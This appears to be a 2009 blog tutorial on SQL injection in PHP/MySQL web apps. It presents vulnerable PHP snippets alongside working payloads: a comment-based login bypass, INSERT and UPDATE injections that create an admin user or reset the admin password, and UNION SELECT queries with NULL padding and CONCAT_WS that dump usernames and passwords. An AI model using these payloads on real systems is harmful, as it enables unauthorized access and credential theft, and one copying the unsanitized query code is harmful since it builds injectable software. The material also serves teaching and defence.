Hi everybody! I'm here again to write a little, but I hope interesting, paper concerning
Web Application Security. The aim of these lines are to help you to understand security
flaws regarding SQL Injection.
I know that maybe lots of things here explained are a little bit old; but lots of people
asked to me by email how to find/to prevent SQL Injection flaws in their codes.
Yes, we could say that this is the second part of my first paper regarding PHP flaws
(PHP Underground Security) wrote times ago; where I explained in a very basic form the SQL Injection
(The reason? The focus was on an other principal theme).
How I wrote this paper? In my free time, a couple of lines to help people to find, prevent
this kind of attacks. I hope you enjoy it. For any question or whatever please
contact me here: omni_0 [at] yahoo [DOT] com .
-------------------------------------------------------------------------------[/]
---[ 0x02: Injecting SQL ]
As you know almost every dynamic web applications use a database (here we talk
about web application based on "LAMP architecture") to store any kind of data needed
by the application such as images path, texts, user accounts, personal information,
goods in stock, etc.
The web application access to those information by using the SQL (Structured Query
Language). This kind of applications construct one or more SQL Statement to query
the DataBase (and for example to retrieve data); but this query sometimes incorporporate
user-supplied data. (take in mind this)
What about SQL? SQL is a DML (Data Manipulation Language) that is used
to insert, retrive and modify records present in the DataBase.
As I said before web application uses user-supplied data to query the DB but if the
supplied data is not properly sanitized before being used this can be unsafe and
an attacker can INJECT HIS OWN SQL code.
These flaws can be very destructive because an attacker can:
- Inject his data
- Retrive information about users, CC, DBMS.. (make a kind of information gathering)
- and so on..
The fundamentals of SQL Injection are similar to lots of DBMS but, as you know
there are some differences, in this paper I will cover "Exploting SQL Injection
in MySQL DBMS" as said upon (this means that if you want to test techniques here
explained on others DBMS you need to try at your own).
-------------------------------------------------------------------------------[/]
---[ 0x03: Exploiting a Login Form ]
Sometimes happends that coders doesn't properly sanitize 2 important variables
such as user-name and password in the login form and this involve a critical
vulnerability that will allow to the attacker the access to a reserved area.
Let's make an example query here below:
SELECT * FROM users WHERE username = 'admin' and password = 'secret'
With this query the admin supply the username 'admin' and the password 'secret'
if those are true, the admin will login into the application.
Let us suppose that the script is vulnerabile to sql injection; what happends
if we know the admin username (in this case 'admin')? We don't know the password, but
can we make an SQL Injection attack? Yes, easily and then we can gain the access to the application.
In this way:
SELECT * FROM users WHERE username = 'admin' /*' and password = 'foobar'
So, we supplied this information:
- As username = admin' /*
- As password = foobar (what we want..)
Yes, the query will be true because admin is the right username but then with the
' /* ' symbol we commented the left SQL Statement.
Here below a funny (but true) example:
$sql = "SELECT permissions, username FROM $prefix"."auth WHERE
username = '" . $_POST['username'] . "' AND password = MD5('".$_POST['wordpass']."');";
$query = mysql_query($sql, $conn);
The variables passed with the POST method are not properly sanitized before being used
and an attacker can inject sql code to gain access to the application.
This is a simple attack but it has a very critical impact.
-------------------------------------------------------------------------------[/]
---[ 0x04: Exploiting Different SQL Statement Type ]
SQL Language uses different type of statements that could help the programmer to
make different queries to the DataBase; for example a SELECTion of record,
UPDATE, INSERTing new rows and so on. If the source is bugged an attacker can
"hack the query" in multiple ways; here below some examples.
SELECT Statement
------------------
SELECT Statement is used to retrieve information from the database; and is
frequentely used "in every" application that returns information in response
to a user query. For example SELECT is used for login forms, browsing catalog, viewing
users infos, user profiles, in search engines, etc. The "point of failure" is
often the WHERE clause where exactly the users put their supplied arguments.
But sometimes happends that the "point of failure" is in the FROM clause; this
happends very rarely.
INSERT Statement
------------------
INSERT statement is used to add new row in the table; and sometimes the application
doesn't properly sanitize the data, so a query like the beneath could be vulnerable:
INSERT INTO usr (user, pwd, privilege) VALUES ('new', 'pwd', 10)
What happends if the pwd or username are not safe? We can absolutely "hack the
query" and perform a new interesting query as shown below:
INSERT INTO usr (user, pwd, privilege) VALUES ('hacker', 'test', 1)/*', 3)
In this example the pwd field is unsafe and is used to create a new user with
the admin privilege (privilege = 1):
$SQL= "INSERT INTO usr (user, pwd, id) VALUES ('new', '".$_GET['p']."', 3)";
$result = mysql_query($SQL);
UPDATE Statement
------------------
UPDATE statement is used (as the word says) to UPDATE one or more records.
This type of statement is used when users (logged into the application) need
to change their own profile information; such as password, the billing address,
etc. An example of how the UPDATE statement works is shown below:
UPDATE usr SET pwd='newpwd' WHERE user = 'billyJoe' and password = 'Billy'
The field pwd in the update_profile.php form is absolutely "a user-supply data"; so,
try to imagine what happends if the code is like the (vulnerable) code pasted below:
$SQL = "UPDATE usr SET pwd='".$_GET['np']."' WHERE user = 'billyJoe' and pwd = 'Billy'";
$result = mysql_query($SQL);
In this query the password needs to be correct (so, the user needs to know his own password :D)
and the password will be supplied with the GET method; but leave out this detail (it's not so important
for our code injection) and concentrate to the new password field (supplied by $_GET['np'], that
is not sanitized); what happeds if we will inject our code here? Let see below:
UPDATE usr SET pwd='owned' WHERE user='admin'/*' WHERE user = 'ad' and pwd = 'se'
here we just changed the admin password to ' owned ' :) sounds interesting right?
UNION SELECT Statement
-------------------------
The "UNION SELECT Statement" is used in SQL to combine the results of 2
or more different SELECT query; obviously in one result.
This kind of statement is very interesting because when you have a SELECT query
often you can add your own UNION SELECT statement to combine the queries (sure,
only if you have a "bugged sql statement") and view the 2 (or more) results in only
one result set. To better understand what I mean I think is better to see an interesting
example and put our hands on it.
Here is our vulnerable code:
-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/
$SQL = "select * from news where id=".$_GET['id'];
$result = mysql_query($SQL);
if (!$result) {
die('Invalid query: ' . mysql_error());
}
// Our query is TRUE
if ($result) {
echo '
WELCOME TO www.victim.net NEWS
';
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
echo '
Title:'.$row[1].'
';
echo '
News:
'.$row[2];
}
}
-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/
As we can see the $SQL variable is vulnerable and an attacker can inject his own
code into it and then gain interesting information. What happends if via browser we
call this URL: http://www.victim.net/CMS/view.php?id=1 ?
Nothing interesting, just our news with the ID equal to 1, here below:
-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/
WELCOME TO www.victim.net NEWS
Title:testing news
News:
what about SQL Injection?
-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/
How to make this interesting? :) We can use our UNION SELECT operator, and the
resultant query will be:
select * from news where id=1 UNION SELECT * FROM usr WHERE id = 1
What is gonna happend? Look below:
-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/
WELCOME TO www.victim.net NEWS
Title:testing news
News:
what about SQL Injection?
Title:secret
News:
1
-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/
"Title: secret" is the admin password (ID = 1 is the admin in most cases) and the 1 in the "News:"
is the admin ID. So, why our output is so strange? This is not strange our tables has been made
in different ways. Just to make things clear look the tables below:
mysql> select * from usr;
-----------------------
| user | pwd | id |
-----------------------
| admin | secret | 1 |
-----------------------
| ad | aaaaa | 2 |
-----------------------
| new | test | 5 |
-----------------------
mysql> select * from news;
---------------------------------------------------
| id | title | texts |
---------------------------------------------------
| 1 | testing news | what about SQL Injection? |
---------------------------------------------------
| 2 | testing news 2 | could be bypassed easily? |
---------------------------------------------------
Our UNION SELECT query will be:
mysql> select * from news where id = 1 union select * from usr where id = 1;
---------------------------------------------------
| id | title | texts |
---------------------------------------------------
| 1 | testing news | what about SQL Injection? |
---------------------------------------------------
| admin | secret | 1 |
---------------------------------------------------
Is now clear? We have found the admin password. It's great!
Ok, lets go deeper; what happends if we have 2 tables with a different number of
columns? Unfortunaltely UNION SELECT doesn't work as show upon. I want to make
2 different examples to help you.
LESS FIELDS
------------
mysql> select * from Anews;
------------------------------------------------
| title | texts |
------------------------------------------------
| testing news 2 | could be bypassed easily? |
------------------------------------------------
mysql> select * from Anews union select * from usr;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
Yes, this is what happends if the UNION SELECT is used and the tables have a different
number of columns. So, what we can do to bypass this?
mysql> select * from Anews union select id, CONCAT_WS(' - ', user, pwd) from usr;
--------------------------------------------
| title | texts |
--------------------------------------------
| testing news 2 | could be bypassed easily? |
--------------------------------------------
| 1 | admin - secret |
--------------------------------------------
| 2 | ad - aaaaa |
--------------------------------------------
| 5 | new - test |
--------------------------------------------
We bypassed "the problem" just using a MySQL function CONCAT_WS (CONCAT can be used too).
Take in mind that different DBMS works in different way. I'm explaining in a general manner; therefore
sometimes you have to find other ways. :)
MORE FIELDS
-------------
mysql> select * from fnews;
--------------------------------------------------------
| id | pri | title | texts |
--------------------------------------------------------
| 1 | 0 | testing news 2 | could be bypassed easily? |
--------------------------------------------------------
What we can do now? Easy, just add a NULL field!!
mysql> select * from fnews union select NULL, id, user, pwd from usr;
---------------------------------------------------------
| id | pri | title | texts |
---------------------------------------------------------
| 1 | 0 | testing news 2 | could be bypassed easily? |
---------------------------------------------------------
| NULL | 1 | admin | secre |
---------------------------------------------------------
| NULL | 2 | ad | aaaaa |
---------------------------------------------------------
| NULL | 5 | new | test |
---------------------------------------------------------
-------------------------------------------------------------------------------[/]
Saturday, May 16, 2009
MySQL: Secure Web Apps - SQL Injection techniques Part 1
Subscribe to:
Post Comments (Atom)





No comments:
Post a Comment